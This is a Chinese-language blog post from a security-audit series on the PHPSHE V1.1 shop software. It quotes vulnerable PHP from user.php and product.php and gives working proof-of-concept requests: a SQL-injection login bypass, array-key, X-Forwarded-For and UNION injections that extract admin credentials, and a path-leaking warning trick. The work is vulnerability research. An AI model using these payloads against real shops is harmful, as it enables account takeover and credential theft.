PHPSHE V1.1 (三)

user.php

接下來,我們來看看user模塊。

//Line:10

case 'login':
    if (isset($_p_pesubmit)) {
        $_p_info['user_pw'] = md5($_p_info['user_pw']);
        if ($info = $db->pe_select('user', $_p_info)) {

亮點在這裡if ($info = $db->pe_select('user', $_p_info)) {,只要$info不為空就成功登陸了。

簡單來一發萬能密碼,用戶名:' or 1=1-- -,密碼隨意就ok了

【Bug 0x09: SQL注入 任意用戶登陸】

URL:

/index.php?mod=user&act=login

DATA:

info%5Buser_name%5D=1' or 1=1-- -
&info%5Buser_pw%5D=123456
&pesubmit=

繼續看

//Line:168

case 'base':
    if (isset($_p_pesubmit)) {
        if ($db->pe_update('user', array('user_id'=>$_s_user_id), pe_dbhold($_p_info))) {
            pe_success('基本信息修改成功!');
        }
        else {
            pe_error('基本信息修改失败...');
        }
    }
    $info = $db->pe_select('user', array('user_id'=>$_s_user_id));

    $seo = pe_seo($menutitle='基本信息');
    include(pe_tpl('user_base.html'));

亮點在if ($db->pe_update('user', array('user_id'=>$_s_user_id), pe_dbhold($_p_info))) {

我們跟進pe_dbhold()函數

//Line:30

//数据库安全
function pe_dbhold($str, $exc=array())
{
    if (is_array($str)) {
        foreach($str as $k => $v) {
            $str[$k] = in_array($k, $exc) ? pe_dbhold($v, 'all') : pe_dbhold($v);
        }
    }
    else {
        $str = $exc == 'all' ? mysql_real_escape_string($str) : mysql_real_escape_string(htmlspecialchars($str));
    }
    return $str;
}

此處對數組的值進行了過濾,但是對數組的鍵沒有處理。

我們跟進pe_update()函數

public function pe_update($table, $where, $set)
{
    //处理设置语句
    $sqlset = $this->_doset($set);
    //处理条件语句
    $sqlwhere = $this->_dowhere($where);
    return $this->sql_update("update `".dbpre."{$table}` {$sqlset} {$sqlwhere}");    
}

【Bug 0x06】一樣,經過_dowhere()處理、一樣可以對其進行注入。

【Bug 0x09: SQL注入 獲取任意數據庫數據】

URL:

/index.php?mod=user&act=base

DATA:

info%5Buser_address`%3D(select concat(0x7e,admin_name,0x7e,admin_pw,0x7e) from pe_admin limit 1) , `user_tname%5D=1

product.php

第一個操作商品咨询就可能存在一個小BUG。

//Line:5

case 'askadd':
    if (isset($_p_pesubmit)) {
        ...
        $info['ask_text'] = pe_texthtml(pe_dbhold($_p_ask_text));
        ...
        $info['user_ip'] = pe_ip();
        if ($db->pe_insert('ask', $info)) {
            ...
            $info['ask_text'] = htmlspecialchars($_p_ask_text);

【Bug 0x10: 信息洩漏 Warning】

POST:

/index.php?mod=product&act=askadd&id=1

DATA:

ask_text[]=asfasdfasfs&pesubmit=true

錯誤信息

Warning: nl2br() expects parameter 1 to be string, array given in E:\SourceCodes\phpshe1.1\include\function\global.func.php
Warning: htmlspecialchars() expects parameter 1 to be string, array given in E:\SourceCodes\phpshe1.1\module\index\product.php

然後還有一個亮點$info['user_ip'] = pe_ip();,我們跟進pe_ip()函數

//Line : 333

//获取ip
function pe_ip()
{
    if (isset($_SERVER)){
        if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])){
            $realip = $_SERVER["HTTP_X_FORWARDED_FOR"];
    ...
    return $realip;

明顯的XFF注入。只要在寫入數據庫的時候用到了這個函數獲取IP的地方、、都是一樣的注入。

【Bug 0x11: SQL注入 獲取任意數據庫數據】

POST:

/index.php?mod=product&act=askadd&id=1

x-forwarded-for:

1', `ask_replytext` = (select concat(0x7e,admin_name,0x7e,admin_pw,0x7e)  from pe_admin limit 1)#

返回的信息在商品、賣家回覆裏。

再往下看,在商品列表操作中、又是一個大大的BUG出現了。

//Line:83

case 'list':
    ...
    $_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'";
    ...
    $info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));

WHERE條件帶入了未经过滤的$_g_keyword變量。

【Bug 0x12: SQL注入 獲取任意數據庫數據】

URL:

/index.php?mod=product&act=list&id=1&keyword=%' union select 1,admin_pw,1,1,1,admin_name,1,1,1,1,1,1,1,1,1,1,1,1,1 from pe_admin-- -

前臺審計到這裡差不多就結束了。。。


Copyright ©2016 由 Virink 技术博客 强力驱动

results matching ""

    No results matching ""